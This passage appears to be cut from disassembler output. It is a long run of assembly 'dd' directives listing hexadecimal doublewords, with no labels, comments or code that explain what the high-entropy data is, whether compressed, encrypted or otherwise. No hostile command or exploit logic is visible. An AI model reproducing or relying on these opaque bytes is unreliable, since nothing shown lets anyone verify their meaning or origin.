44AA8054h, 3DD0D1FAh dd 0F8A0039h, 0E332DEF5h, 491DC4CEh, 92CC4C36h, 0FBEE1A2h dd 0EFF0C9FFh, 11CCE8A0h, 22E8EB21h, 94008DFAh, 33CB47ACh dd 3E95347Dh, 0CA80C942h, 5225FD0Fh, 9A0E3AF5h, 0C65429ADh dd 0A09588h, 4C448B3Eh, 9B094AEh, 0ECA88954h, 0FBCE2238h dd 8D0EB97Ch, 456E8E2Ch, 8400AA06h, 2737426h, 3D981235h dd 0EF8ECD4h, 14AFA9Eh, 84C6AD94h, 2318C041h, 9E07DF9h dd 33B30790h, 0D016C756h, 9C41EFB9h, 37A1BE8h, 17094Ch dd 0CDB2F234h, 0D10EC2h, 6ADE3EBEh, 701DC0B6h, 29C67900h dd 6626B848h, 0FD640C1Ch, 83083E90h, 0C706DB05h, 86856A4Ah dd 0C4F79580h, 19700009h, 0A93C791Eh, 0B52638EEh, 0A5015117h dd 1F0D61B1h, 24B5360h, 0CF9C8FBBh, 38914294h, 663BF4F1h dd 2810B446h, 0C33EE1h, 19B3D043h, 0E418653h, 0C5D3781Ch dd 71332BE7h, 81C38429h, 21DC9488h, 23D88D47h, 7BAC0715h dd 501F4A54h, 822CB0DEh, 0B80E66F2h, 204767AEh, 76097C3Eh dd 0B25103FFh, 0B1220427h, 50B89FBBh, 58C0D4AEh, 0B307F879h dd 11D060E0h, 0B2AFDBE6h, 56E27101h, 454A5981h, 0C01E26D0h dd 0D3E38520h, 211F05DBh, 464C520Eh, 0A09D0DCh, 23D5F335h dd 60B464C0h, 0E60C4466h, 225843ECh, 0B968071Fh, 875C9943h dd 136CB0E6h, 78C6D9FBh, 812DA2h, 5ED5C726h, 573A05EBh dd 0F4F3D895h, 2B4F003Eh, 0B59A37B6h, 2D7FF0F5h, 0B20EE0B0h dd 0C24E8AA7h, 601E10C9h, 789D1A4h, 0F968845Fh, 0ED8860CFh dd 7F0E27F8h, 0A0B7D753h, 49522C1Eh, 50C77EE8h, 4321947Ah dd 84613FEFh, 45F271BDh, 2138F733h, 0E2D400EBh, 0CC833D97h dd 0AD1E00A8h, 76E33EB8h, 28C0C678h, 7FD417E8h, 64901373h dd 1CFE01A2h, 40C4A16Fh, 5AC04734h, 5F026508h, 4C88484Ah dd 60049C8h, 8219A480h, 64163A3Fh, 6020B06Ch, 23B04954h dd 50084A71h, 0C86001Ch, 75B0A4D4h, 67ECA572h, 8838E500h dd 0D60850E4h, 0FCBB3D1Ch, 27B9160Fh, 0B20CF561h, 721C8B6h dd 0B7B3D400h, 9D2DD68Fh dd 0BCAB4F28h, 0B8C20108h, 0FAC71B40h, 0D305EDh, 38265990h dd 0A5F379A7h, 0D9BCD4E3h, 0F8E0AC28h, 0B5CA004h, 0C4809759h dd 7C3454h, 0BF152062h, 9C2490DFh, 0D53C6B00h, 0C9A4ECB6h dd 0D8320014h, 0CA2EBB1Dh, 650E4720h, 80036AF1h, 2A19FFBh dd 0BD600FDAh, 7623A686h, 830CECFh, 0FF0D2171h, 66444823h dd 2114A603h, 5989ADF5h, 898BC4EDh, 7411B105h, 4C148F2h dd 75ECCA62h, 39A67C79h, 8C0CC060h, 875081E7h, 0F2AD6506h dd 1062A5h, 0A8DCF541h, 66AC0DF7h, 6772DDE0h, 20639D30h dd 6EDADFh, 0B00926C2h, 958489B6h, 0E80C170Ch, 407147h dd 64FFEAF2h, 0EDE7C6FEh, 5CE619C0h, 1894C371h, 5070DEF6h dd 0D00EB60h, 2859ACB0h, 182E1456h, 918EF78Dh, 0AE00AA20h dd 70447289h, 3B3A084Fh, 0A680BC7Dh, 330AD116h, 0F33EF4E6h dd 806200F5h, 43F635BBh, 5EF831h, 0A3302113h, 0A1F16CFEh dd 0B479CA68h, 0B45F4103h, 6EB1F186h, 0D004C08h, 98D4A1A0h dd 5E63C4Dh, 0F270402Ah, 9B5CC0B6h, 0E5007AB9h, 4DA0BD8h dd 0F951B3h, 0B4BF9D5Bh, 0C1DBB32h, 4F943D00h, 9AC58038h dd 0AD76036Fh, 0B8F817A0h, 973340A0h, 4DC24F01h, 9E6907C5h dd 477AF4h, 0C64E8D70h, 82BE3286h, 0E045D1E3h, 2D074C83h dd 856D3CD6h, 5C332480h, 2186607Dh, 421C07E6h, 6B89800Bh dd 0B9E10701h, 0F9FB143h, 0AA0B6520h, 0D948ACC0h, 0FB00C116h dd 8DB39718h, 736004B0h, 0EE9F18F7h, 0E7F66069h, 65894D60h dd 106462Dh, 2CDCFB36h, 0D3DD2AD2h, 2000B3F3h, 95470C05h dd 66269BDBh, 2A765C1Bh, 37B06B1Fh, 0A322E300h, 639EC755h dd 0F7869091h, 64836A90h, 0E30B1600h, 4ECC1007h, 7A350013h dd 3D52FAB2h, 86006E63h, 8E4C22EDh, 0A8DC7B48h, 1B4F4090h dd 5134A095h, 0EE0E2E7Fh, 62809D6h, 60080A1Fh, 6261219Ch dd 0A2A03DAAh, 0F900FE5Eh, 36C37D52h, 0DB3804h, 9FD7A77Ch dd 5EE056BDh, 2204503h, 0F884B6D9h, 79181E30h, 0F01F766Dh dd 114A0050h, 0F469140Eh, 9A3C0A9Fh, 0B1B0708h, 0A9E7429Bh dd 34E16E80h, 0DCAB00D6h, 4AD80482h, 0A0152B5h, 0B7599D1Eh dd 0D5D0A797h, 48502E2h, 0A4B5916Dh, 506780FDh, 366C5305h dd 0A8410E82h, 44D70C00h, 9DB3BD95h, 0F28400C9h, 2A837E08h dd 29C2DDEFh, 0E1DB573Eh, 73F0B1F9h, 783C3AFAh, 20EF5318h dd 87073724h, 0B04358A6h, 0E8BDA0D0h, 1B01162Ch, 812600AEh dd 64820855h, 6D384400h, 9E7B2839h, 0E140003Ch, 8811135Dh dd 0AD1D36F7h, 610CF4DFh, 0BE72068h, 0DCE15EBFh, 56A29801h dd 6BCEECECh, 0CC455100h, 0DA3A9DC3h, 3BC80083h, 69D5E608h dd 4D1FBA2Bh, 0B400DBE1h, 7B2049A1h, 0CBC6039Bh, 607761DEh dd 0EEF43DC0h, 0F55FF3Ch, 1F3711h, 3692E575h, 600F3ED7h dd 2933FA06h, 6900409Bh, 492B6124h, 0C1136Eh, 0CCED4F45h dd 6B71BCAh, 0A0F5B0CFh, 79970A0Bh, 389A6015h, 0CF964FACh dd 7EAF8B1Eh, 80F32D0Ah, 4452007Eh, 3DB90CCFh, 2E141806h dd 4C31B1h, 8F03DE2Ch, 1271F74h, 0DF8B95E9h, 3E36962Dh dd 1977CD00h, 0AC4C34h, 4FC4A39Dh, 424881E9h, 60F6E31Ch dd 24ABB741h, 0E8C0C7E5h, 5726062Dh, 20EA6CE9h, 0ABBA3B00h dd 1C267DAh, 6EBB0087h, 3691A143h, 0E3EC5CF7h, 675F2C04h dd 0DBC76931h, 73AE9680h, 18CD01B8h, 0A975B65Ah, 5D9CD065h dd 0F32030C0h, 71C1473h, 0A718601Bh, 745A633Fh, 0AFBD400Fh dd 80EA2ED8h, 0C08358C8h, 0CBEC0101h, 6E23ED02h, 7A088D73h dd 90E720AAh, 0E83F03h, 4C1129E0h, 4BDD06F6h, 8CE41C0h dd 3396BF2h, 0CCB7C1F9h, 2FC0028Bh, 97391704h, 0E1FE9F07h dd 69E351B0h, 32FA0CBEh, 0CF10C4C2h, 0B8CAD000h, 0B6478090h dd 43103A28h, 59C3F900h, 0CAD2BDE3h, 0FFFA2600h, 0DC33E072h dd 0FC780A41h, 0E8C3D3Eh, 289548BEh, 0E2CADA06h, 28894890h dd 0D1EF1080h, 14D43FCAh, 7EF65301h, 8045DDFFh, 0EDA3E1D1h dd 0ECC194h, 3FB4F750h, 0DC988708h, 0A6A08800h, 6E1ED06Bh dd 0E15200ECh, 56C97D4Fh, 4403E3D1h, 0A27E28E2h, 0C2F0C95Bh dd 0E8AF708Fh, 0CFB43581h, 2721309Dh, 1856633Ah, 81205426h dd 335F004Ah, 8BD2D14Ch, 48C0A8E8h, 9EA190F6h, 0A4953C8Dh dd 41E9A450h, 0DDE4027Fh, 8045730h, 0EF5ACBCFh, 8CC1AA6Fh dd 1AF9200h, 1A83026h, 0AECD7DDDh, 500FDC93h, 943E7FCCh dd 0BA367A00h, 8646D551h, 0C03C0030h, 0FF1D4C8Dh, 5FE21079h dd 1702EC00h, 3D961366h, 0ECAF53EEh, 843074F2h, 72C000E4h dd 0E1033C34h, 0D8029444h, 30169AF6h, 0C890800Dh, 15CED0Ah dd 8DEFFF6Ah, 0FC78F565h, 71033382h, 3110B15Eh, 6D7900C5h dd 86F12226h, 9700F60Bh, 93AB3FB7h, 7C9684h, 9E1EEFBCh dd 37E5C7E7h, 46D76300h, 0E617E4AFh, 36C91DCh, 4D8FB687h dd 0BBAEBCA8h, 50DAD0Bh, 21684D1h, 37AF1380h, 48C0A63Eh dd 0CB0AA139h, 65C0F04Ah, 24B04075h, 0D2EF0371h, 0F05F18CAh dd 9342CF07h, 0C35104C6h, 1FA4060h, 3068C8C0h, 85A4B000h dd 4C8F4DF7h, 0BA711Bh, 0CD0FAB65h, 0EFA37D17h, 7C00EB76h dd 0F0045D88h, 83846Ch, 0ABBD7852h, 9D2FB779h, 0FE801F00h dd 0D2A81631h, 0C55A00B6h, 0C1338A4Ah, 0ED0055BFh, 8224BCB2h dd 72AEA80h, 0FDDB066Fh, 4ACED056h, 0BC00173Dh, 0D9DA80Bh dd 0F42D5A5Ch, 0E0030E97h, 106079F1h, 0E456CE45h, 9BBC100h dd 813B8AD2h, 272200B6h, 0E8B82EB1h, 8C3ABF75h, 0E900759Ch dd 33EBF220h, 2F35F4h, 15B2B96Bh, 0DC3C2D67h, 765F7101h dd 78850DD6h, 0CE3EE8h, 0B26ADE39h, 0BDB51F8Fh, 1E7D3500h dd 0ECD3335Ah, 8DA50022h, 73E607D4h, 85038A44h, 0BF671D86h dd 0EC54E0F4h, 5CFD00ABh, 0CD1B357Ah, 0F000EAE8h, 0A099BAE4h dd 742DB8Dh, 8A566E5Dh, 0DDD39349h, 1FE6C100h, 66024FFFh dd 12CD000Eh, 0D345E21Dh, 0B3DE593h, 94401C21h, 0CF68E100h dd 0F3DAC1Fh, 788BB3F1h, 0E9609F2Fh, 0A53F4788h, 603B4670h dd 0FC0C81E2h, 30C15118h, 0B08F0860h, 78330051h, 118BC644h dd 5F014BA3h, 1A55C571h, 0FFF84CD7h, 0E78F07FAh, 5E5BD240h dd 156CEDE0h, 4016EFBh, 954AA5E4h, 0F041A3A8h, 5D30D55Ah dd 0FFF041h, 9C6F5502h, 9138E780h, 4008CBh, 0D25FB0F7h dd 286700FDh, 0F21D65FEh, 7F02CC3h, 5DBA591Dh, 3083BBCCh dd 39EF637h, 4CE448E1h, 0DBA3AAD7h, 3CBA9003h, 0AF472B12h dd 10BE204Fh, 1D6D7D07h, 804EADB0h, 6B72A08Eh, 260E6195h dd 0A763DCh, 5624E867h, 0AA320037h, 0C2720FB6h, 480087C7h dd 0E77D8CA8h, 335CAF4h, 82A42F1Ch, 9EFB8A2Ch, 9F82800h dd 9FCDD3B5h, 0D41D3061h, 42933480h, 0BD23A00h, 0D0C28772h dd 95EB007Ch, 3946304Dh, 0C0070696h, 0C96591ACh, 0DD234E40h dd 3A3801E5h, 6D7C7FADh, 18B980BCh, 6A54FF69h, 0F09AE62Dh dd 346EE9Bh, 5986AA3Ah, 5EF0C288h, 4C00F41Dh, 909D3430h dd 9F7052h, 8565350Ah, 6793BF58h, 0C1D35C00h, 38548A27h dd 927B394Fh, 1CFA4980h, 45C29386h, 83C7EF00h, 0F65C5BD6h dd 510F032Bh, 5ACC617Bh, 16872908h, 0C9A20846h, 0C08FA790h dd 1FFB11D1h, 64016508h, 880CF308h, 6F882BA0h, 4C3F001Eh dd 8522A87Ch, 800998EAh, 10F29D2h, 0C2BB5BE0h, 0EB9FCCh dd 49CC66Ch, 0DDCD8761h, 52001CFEh, 0C21E05E8h, 0BAF5D7h dd 5EC329D3h, 803EE077h dd 6F6CC900h, 0D242452Ch, 61200ECh, 1CBAF031h, 0E300E9C1h dd 25BD6A7Ah, 88D179h, 6B3ED522h, 9F536F34h, 562D4E00h dd 0C995BFC5h, 4F6D0002h, 0E50BF097h, 1A007B15h, 72080FEDh dd 7A67C04h, 0A93D924Dh, 3B54E01Dh, 0C70086A1h, 0DCBA857Dh dd 1EFA4753h, 0C00D05FEh, 0E9921B7Eh, 1EEE68ABh, 2735DF00h dd 9B43ED9h, 0D8800C0h, 65B112AAh, 9C05A18Ch, 0B027F330h dd 0C6504A87h, 16ADF2h, 5EB54590h, 0ED2430F0h, 0B9A4B60Bh dd 8C1AA0E4h, 0F81D71A0h, 448F3A99h, 36E61200h, 2DD32F31h dd 6DD4CD00h, 0DA519AEBh, 0A8520150h, 15401FC6h, 802DEDB4h dd 338604A0h, 58F1616Bh, 0E1028BE9h, 7B326AB0h, 3402D340h dd 0D08E2600h, 3CADD3ECh, 0C70C0C70h, 0D1CAF933h, 74AFB4Ch dd 0C8A9201Dh, 0B06DBF0h, 0B17D28DCh, 2A403EA4h, 519959Eh dd 0C03C6109h, 58E3FFDh, 75F8B84Ch, 0EFB5910Eh, 5BAA8058h dd 71F5CBEh, 2BCB014Ah, 0C74024A9h, 0B068E185h, 0B880C6DFh dd 8B03E908h, 78C93900h, 203EDA7Bh, 5B3300F9h, 505F5398h dd 470005E6h, 0AA0815B7h, 308EB4h, 21230B96h, 0EBBA403Fh dd 0FB760500h, 10DD8D7Dh, 0D0D8954Fh, 5D9F6F00h, 0EA6ABC49h dd 58E701FCh, 5B70A78Bh, 0C266F89Bh, 73D6120Fh, 2AA16041h dd 98777DB5h, 2F151FD2h, 7A66C016h, 3263FA61h, 38081300h dd 31B8BE1Bh, 46990071h, 66625A64h, 0F50096B5h, 4D110E54h dd 0B50A1h, 79EE1983h, 621ABAC5h, 0FD6AFB00h, 69C04970h dd 0E2CA5804h, 988016h, 6C0BB348h, 0A0012B9h, 4FA0B585h dd 1E93F1h, 7A9CBA21h, 8F6D5D59h, 0BACCA928h, 0CFB9400h dd 48EDC915h, 86A21FF3h, 0F8644052h, 97B19BFh, 0A07B378h dd 15B41FDAh, 0DD2579F0h, 843B006Eh, 56C209FDh, 99905A5Fh dd 12F3A600h, 0EC1C41EFh, 0C0020E60h, 807D50D6h, 0B7320FE3h dd 0B600119Ah, 0EC6FB4C3h, 0F7DB5Ch, 0F1E337C6h, 0FEA20CE4h dd 0EEC5FD00h, 9BBA9098h, 0AA773Dh, 57D8D4B2h, 0B57E0C30h dd 0C42F6003h, 0F8479655h, 1E8917BFh, 80E89503h, 76A081B4h dd 800B6F9h, 60CBE7CAh, 516C1Ah, 0F1525542h, 1412588Fh dd 9B03BC00h, 0A2CE0971h, 29570020h, 6492DD0Ah, 0BD0315FBh dd 2ACC8237h, 0C054BA0Eh, 0A41038h, 0B54BF412h, 8584E5E0h dd 8D0B5300h, 7EBA2615h, 37460023h, 0F966AE39h, 0B4003B45h dd 0D4C5A7A2h, 7DE2A9h, 1738BEFDh, 73F22D2h, 0C0D0AE00h dd 0C6D331B9h, 8055000Bh, 0CD2FD95Ah, 0A009852h, 5F63441Dh dd 39DF8185h, 61014317h, 3D867FEDh, 3C02705Eh, 4409EB00h dd 2F5A28EFh, 0DD4A0094h, 0DE049977h, 0E100B236h, 3B80D129h dd 7510287Ch, 1850010Fh, 0E01B5240h, 54AC70FEh, 530015FEh dd 57CBDC99h, 0FCDB4167h, 0C8BE0E3Dh, 0D5808FCCh, 8460A82Ah dd 3AC59700h, 6C6BDCA4h, 10DE0074h, 618AF0FFh, 500020F3h dd 815E7667h, 54F7A9BDh, 7AF4D0D4h, 3BC700EFh, 9747306Ah dd 2800B2CEh, 0C8515F1h, 0ABEB2Eh, 8CDA42Ch, 5EE2A544h dd 0C2A37E1Ch, 0D884CA43h, 99B198A0h, 0F3CD0018h, 25F0E5F4h dd 0BB1D3C60h, 1B47CA4Fh, 48B07462h, 9F94ADh, 0AEC587D8h dd 0A4D19012h, 0B6DF962Ch, 48EEDA00h, 620C27h, 1D10459Fh dd 0E14BCEBh, 9ECAD800h, 0E0EE87E8h, 73C601AEh, 75A2F8FAh dd 3F733052h, 2E765600h, 0BB4423B9h, 91D4035Dh, 6D83F151h dd 0E69803F3h, 0A20098ACh, 5DD84BEh, 1DC2D2B5h, 406FF355h dd 0A353C086h, 220090A1h, 356795FBh, 12B81C2h, 4777ED83h dd 0EC3AD866h, 6C00ECEFh, 0F8184307h, 39E0D016h, 5C805168h dd 493A0FE7h, 0CF00DECEh, 41218DE6h, 0A4867Ch, 18AA01E8h dd 8B1FC1F1h, 0F0AE700h, 0E0794B14h, 0A8543C0Ch, 0DD6BCB00h dd 77836CF9h, 8AD55800h, 0B7DCC8CFh, 7450011h, 0D7B2D4F6h dd 7601AAC6h, 0C0B493AEh, 627038BAh, 56F60039h, 5262755h dd 22F27020h, 3E119C0Eh, 0D5405F9Eh, 3CBB3B4Bh, 0B998004Dh dd 1A4E38B0h, 0C1000272h, 489CBDD9h, 260B186h, 522D9DF6h dd 0F08081EDh, 41063AA2h, 7400FBF0h, 35D4CA7Ch, 1F6177F2h dd 12D9BCh, 2A035870h, 6F00DD13h, 43793E31h, 0E75BE3Fh dd 18C8E877h, 7DA1C00h, 0D80783C6h, 9A20AB84h, 219262E0h dd 0A2B000E7h, 5ED176F1h, 1350361Ah, 4000D398h, 4527DC2Fh dd 2535B7h, 0E1FAAA02h, 3C928003h, 69D72800h, 177BBADh dd 7E4FF067h, 8EF31425h, 85008D24h, 0CA4EB99Ch, 0F000F447h dd 0D6CD3D1Ah, 118AD3h, 0E14F2B14h, 279E0B4Ch, 94586107h dd 0FBD05326h, 1C6505h, 0C797C946h, 0E6875734h, 0C3DFB100h dd 9DFA9BA6h, 39DE0015h, 1BD91DB2h, 17051C50h, 0C5CFCDC4h dd 80121FEFh, 3BC1D660h, 59F202D1h, 8C180100h, 10226D37h dd 4D71B53h, 0B9F0282Dh, 1C142307h, 7FC42E26h, 14B39601h dd 8EC5D690h, 16724730h, 0EEBAB25Fh, 23EFEC0Eh, 0B0F5A2E1h dd 0EEA568h, 2F013906h, 0C654651Ah, 0A4CC7E1Fh, 0BC7B7600h dd 3DD770h, 149BEAB0h, 1D49023Ch, 7028E130h, 490BE6AFh dd 0BD007488h, 0F084D993h, 0B4A05BD6h, 8200B23Eh, 0CA2A6E53h dd 0F16DF4Fh, 0D1D6F6FBh, 1ED84D20h, 20E1B38Bh, 0A902EDC9h dd 0FABA6A37h, 28BC6806h, 0F70E0034h, 4A534299h, 291D6047h dd 5A00A7D8h, 0D3B190A3h, 35880054h, 0FC9C6FAh, 9C00A03Dh dd 0BF33C16Eh, 3859B2DDh, 0ED80BCB5h, 78BDF54Ah, 501F6C26h dd 3C1F720h, 6AAF24D5h, 16638520h, 9D6F72h, 6C191E58h dd 1D0032BDh, 34CEDCD3h, 172766h, 0C1739120h, 0B59D6238h dd 0FBF47400h, 7C3F1E98h, 0E02500E4h, 3ED5576Ch, 49001369h dd 7C1A296h, 0AF1BF20h, 4D0DE04Bh, 1F7E00E3h, 7638B85Fh dd 0CC0BD700h, 0F0FA9147h, 1EA37A77h, 0CF4CD8h, 8A56691Bh dd 7D03F6EBh, 2D0C7BD1h, 0FE30D77Fh, 0AEE95Ch, 6912AA10h dd 0B12025B6h, 7786BA00h, 67AB26A1h, 0B4210C13h, 0AF4017E4h dd 62EA3600h, 0B1DE71D3h, 2B6E00BDh, 770F8246h, 0D249E7B7h dd 0FFF403FCh, 98F5F96Bh, 7D77D32h, 78AC4219h, 460960B7h dd 47161C7Ch, 10000F8Fh, 303107A6h, 42A53B9Bh, 0EA76D485h dd 1F80BBB8h, 7A1AEC0h, 0B2552409h, 0F8D760E5h, 0B9094781h dd 803AC12Fh, 2C45F6B9h, 75F238h, 7B03361Ch, 7221FB6Bh dd 643FF700h, 0DC655D16h, 34E800BBh, 0A286089Eh, 0C400CAB4h dd 1C1AA8EBh, 0FD1DB7h, 4C2E3D7Eh, 8B2C52ECh, 74E81E00h dd 0EF73E201h, 0D2B201EBh, 197FB784h, 79A1E053h, 61F6E400h dd 120573FEh, 8ADCE1B5h, 88301286h, 6C8F0017h, 0EF48A498h dd 58A2950Eh, 0BB7F0080h, 963B0h, 0F729A715h, 85798DF3h dd 814B3B07h, 0FA90BA1Bh, 0F9A405h, 4E246384h, 2AE0014Fh dd 8B22AC00h, 8C4CC97Bh, 31CC1F50h, 0BDFFC041h, 0CFE2A3A8h dd 6514A702h, 400ED35Dh, 0B6622DCh, 0DE61C8C2h, 0AE556203h dd 38360580h, 0FFAD9000h, 0EB2639BBh, 92A900FDh, 0DAE7333Ah dd 0F8007498h, 0C7CDA87Ch, 4AE28Ch, 683283DBh, 180FA271h dd 0C89DB612h, 0C3125000h, 0C98420h, 0ACCDBC9Fh, 0BD77DABAh dd 0B099E507h, 6B20DED4h, 0AA873Fh, 94B12A21h, 0BD781637h dd 777E4901h, 0F1BEE9B3h, 7370E1C9h, 0D53600E4h, 0CA2419E8h dd 0A301ED40h, 7021A928h, 6CD8716Dh, 9FCCCh, 0B707870Fh dd 6344B38h, 0E563C305h, 5C800EB8h, 7DB21817h, 0BBB00B5h dd 4357587Ch, 410069EDh dd 0CF846F3h, 76ABB4h, 27039E17h, 0A96C543Bh, 6CAA3C2Eh dd 0ECB54940h, 0E8DB012h, 0D9A81E9Ah, 0F0F3C840h, 0D705547Fh dd 36430157h, 97400CC7h, 0DE83BDh, 1213ECA6h, 0B9824CC7h dd 0BF4DC500h, 0A3ABF9EFh, 6EC43F61h, 15B300F3h, 0C503C862h dd 13009877h, 7A3E1CF5h, 53963h, 0CFD489B9h, 387EF25Ah dd 0FC1B5700h, 5CBAADD9h, 64FE1CA2h, 0C3EEC0E6h, 0DC2603D8h dd 0D16A87Fh, 8002CDAh, 7AAA7C39h, 44C90405h, 0A010EB18h dd 761366BCh, 5800701Ch, 0DC3994DAh, 2E741Ah, 83B116CFh dd 2F75592h, 78FC1F0Eh, 5A85E543h, 9001CC5h, 0DE8BEE51h dd 99B2E5Bh, 0F1B300D3h, 0BD4BCD6h, 29407201h, 0ABDFBD44h dd 0F709B441h, 7835ECh, 15B8584Bh, 2C84973Ch, 85D2A800h dd 0D8A1B7EBh, 0B9C90074h, 0AD61CB08h, 4C00F4ECh, 76B645Fh dd 1C17B67h, 0BB9F4E4Dh, 0F0C08B38h, 0B2006E44h, 89E16510h dd 0FED49A6h, 66842FACh, 7501CEC0h, 3E7B76D9h, 0C01F22E6h dd 0BC589F7Ah, 0EEE598h, 7B013A2Fh, 50607D8h, 60CCDE17h dd 2E0F5004h, 0D875E4C3h, 1848344Ch, 701B0C1Ch, 0B719514Eh dd 1720723Ah, 985F60h, 94774314h, 58858E67h, 0CE3BF37Ah dd 7C2B00B0h, 3C931FF2h, 53F1032Fh, 0CF094E33h, 0C11D8800h dd 0C7CCFC8Eh, 0C4720040h, 2B43C99h, 0F000E57Fh, 0AA659B93h dd 46BAC1h, 772FB3DAh, 0AE6A57C5h, 0D8D5D402h, 60FDC8B2h dd 0E8BBF06h, 0C2935ACDh, 0E2C66080h, 1A7B3E5Dh, 0D74910C0h dd 25FDDA92h, 9C802EF0h, 4BB674A2h, 0D5CF5100h, 9CC09DC8h dd 0DD930165h, 3BE271E1h, 34EAC038h, 0A6D85A60h, 3F0E8361h dd 52004404h, 3DFB7BA2h, 774CC61Ah, 0A3B9078Bh, 0FA0FACBh dd 3AD65583h, 9B002AAFh, 2FD0826h, 38CF5A12h, 9DAE0029h dd 1EE74BB3h, 40977C4Ah, 0E0DE774Fh, 3809C01Ah, 0E5CCAFh dd 0DC68A278h, 79561DECh, 2B6A809Eh, 46CD18ABh, 3FA89950h dd 0E70F8616h, 0C5A16501h, 18809249h, 0C16179BDh, 3B009122h dd 4293C4F1h, 1CACD167h, 5D379652h, 14B240D0h, 7B181C0Bh dd 0A0301F04h, 7B812F8Ah, 0FBCC59B7h, 0D75017B9h, 4F6006Bh dd 1B22BAAEh, 9D35E0Dh, 0EDF42C1Fh, 9FDE1DB4h, 10E03B57h dd 496CFC08h, 19265A00h, 0F6AD0DC5h, 0A56A001Ah, 4C4FEAC4h dd 0D90E8187h, 0E0D03E30h, 987AE8AFh, 5F1700D6h, 16F625A6h dd 1800F494h, 32C395FCh, 1CB611B3h, 0BA795480h, 17534000h dd 686BE167h, 0F100157Dh, 1C86A24Ah, 2E10BD7Fh, 5D8D6BEh dd 0C0DFB6BFh, 168A353Ch, 0CAAB6300h, 60B0B3B7h, 0C0111431h dd 3F7F1CA1h, 0C500A932h, 0D6949035h, 6067CF9Eh, 0F3407B92h dd 0E89844h, 17D7C508h, 7ED06327h, 0BE9A2901h, 0CD362F46h dd 9FCEF0h, 0CB971C90h, 5818BBB6h, 0C614A300h, 67D4DAF6h dd 0BC920073h, 3DE543F7h, 97F8798Bh, 16144401h, 0A723523Eh dd 1E4B91E0h, 1E41E08h, 214063F9h, 0AB0DCDBh, 26A60100h dd 0FA4BAC8Ch, 2EBA00B4h, 6CF3183Dh, 62038A0Dh, 0B309CEB6h dd 0CA14E864h, 0AA5A3B9Ch, 6ABFF581h, 0FCA204AFh, 0F10E4A81h dd 80EC2EB7h, 4B565B29h, 0D6850015h, 9F9EC53Ch, 0BA009AF4h dd 0FB14E555h, 3A1C4CC0h, 0B980A1E1h, 8D4D20D6h, 1E000282h dd 6D91754h, 4995A7h, 0C79E53DAh, 966CF7B6h, 7629B50Bh dd 487700C4h, 9D862h, 6B57B29Ch, 0BEFAF539h, 6537A400h dd 0C964F229h, 0CF6000D2h, 39EFD0FFh, 2600B156h, 0A27E8BF5h dd 0B56A35h, 0A7B88742h, 14AC9DB3h, 31AAE201h, 0B9294470h dd 8AD2CCh, 9CB69010h, 0A5F91F8Eh, 0B060C1Fh, 0C15900FCh dd 2A8F21C6h, 40A700D8h, 0E719DB82h, 0F01F1B66h, 0BD3C1A7Dh dd 2A3D00CBh, 736D772Dh, 9A5400A2h, 1C809F11h, 0A917DE3Fh dd 3E00E9E6h, 227A724Dh, 550B0F26h, 0DC00882Eh, 71B282C2h dd 70E08000h, 411D9FA9h, 4BD907FDh, 0C0426361h, 0EC99D068h dd 0AFD2FF00h, 273BD3C1h, 9E3A006Bh, 19C84F91h, 7A01F883h dd 0F15A8E6Eh, 18818FEFh, 0CA376CCh, 5641F4A1h, 1100D6EAh dd 0A23486D3h, 0FAED7DEFh, 942F00F7h, 0E27FC73Dh, 0AF1DA85Fh dd 8039DEDAh, 8E13A1A0h, 0F47EC78h, 52B2653Fh, 1F956900h dd 0EB00D1DFh, 6256AF30h, 2EAA99h, 6320806Ch, 0CE790243h dd 0B47BD7E8h, 30F40F01h, 2470EA11h, 9705DCh, 0AC07EE68h dd 0E9828985h, 5AAEF30Bh, 0E7B80050h, 0C9B695h, 6C4863FEh dd 0E1C4EDD8h, 43AC6800h, 3C941025h, 1ADE00A4h, 27292C8Fh dd 0DC1877C1h, 0BB1095BAh, 451200AEh, 7E5B8CC3h, 0EA00E693h dd 75C12608h, 1F355725h, 0C067B73Bh, 0D1CFE251h, 240013A7h dd 0C2D75CA3h, 6C4630Bh, 53A8BA8Bh, 6200C295h, 0D5AFE2A0h dd 0E52DFB1h, 0B0D6D78Fh, 3FC0920Fh, 0CD05BE98h, 8BF101Fh dd 60E5F78Eh, 80FC7A88h, 0BC935012h, 3487031Ah, 435665E7h dd 82F555B0h, 2ADF0900h, 8A1F80DAh, 0B5D70068h, 2F78BD62h dd 36004A99h, 9220B250h, 2DA2FCh, 0E9DB7445h, 11D28AFBh dd 5D3AA600h, 14DC0D39h, 0E2F7004Eh, 6F7DF254h, 95745C46h dd 0C3972C09h, 0A10020ECh, 3756DE2Bh, 0F68EE0h, 3A22978Fh dd 0C84820C7h, 92C58CC0h, 995E0072h, 0C3CE54B1h, 1E0044DEh dd 7616A725h, 0F485A1A5h, 8E500048h, 0AE4CF2C0h, 8330496h dd 0D03AF1BBh, 7C6AD3h, 8EC9AA77h, 37B556C2h, 1A85AE00h dd 5550EFA1h, 1431C0AFh, 0A0BFD2E4h, 0BDD30E05h, 140F4BFEh dd 0E717E068h, 90437Dh, 0BE597B47h, 38645851h, 0F094FA00h dd 0BA859EADh, 0A28D0078h, 584EF7F9h, 0A0086CBh, 99ECF382h dd 0ED9AE2Ch, 0FCB1CD7Dh, 65394860h, 0AC00446Ah, 3449266Ch dd 0B91176h, 914F51E3h, 1B805A15h, 0CC7D9A00h, 0B62BE644h dd 4D3400E4h, 557622DFh, 4E012701h, 97AF4AC4h, 0A7C0E6ADh dd 0AB1E0024h, 0EEE3F104h, 9B00C651h, 345CDFE9h, 0E2FC1A37h dd 0ABA600FDh, 0CEE46175h, 18C036CFh, 267A3A8Fh, 36500FAh dd 7BAE2DB7h, 3E00F1AAh, 581BEE7Ch, 0CC9E0Bh, 1EF88196h dd 0B092366Ah, 1C00CD7Ah, 468230C2h, 7EEA67h, 0A135E022h dd 972DAB5Fh, 5EC504A5h, 0AE041811h, 53F2B7B0h, 0EDE2B100h dd 6C2BBBC9h, 0C2B0B9h, 5E6D0E06h, 7E1C4E0Ah, 0CF32F22Ch dd 7C09AB00h, 3FA48ADh, 0F8E2E5D9h, 0B9935F96h, 2CDD58C0h dd 0EB00E076h, 104D29A4h, 4472569h, 131D0C7h, 6326C0DAh dd 2E291C05h, 0DCC220E7h, 6C8F307Ch, 947E1D06h, 18883A64h dd 0C96DEA5Ch, 250FC72Ah, 358295h, 0F686C5A7h, 0C08A094h dd 6B2C1EBFh, 0CF18008Ch, 76026388h, 0C3655E07h, 60CF84CCh dd 1DB2A0E5h, 0FE5F026Dh, 0C98E702h, 0C7CD8480h, 50C09FDEh dd 43F1E016h, 4D25003Dh, 3878283Bh, 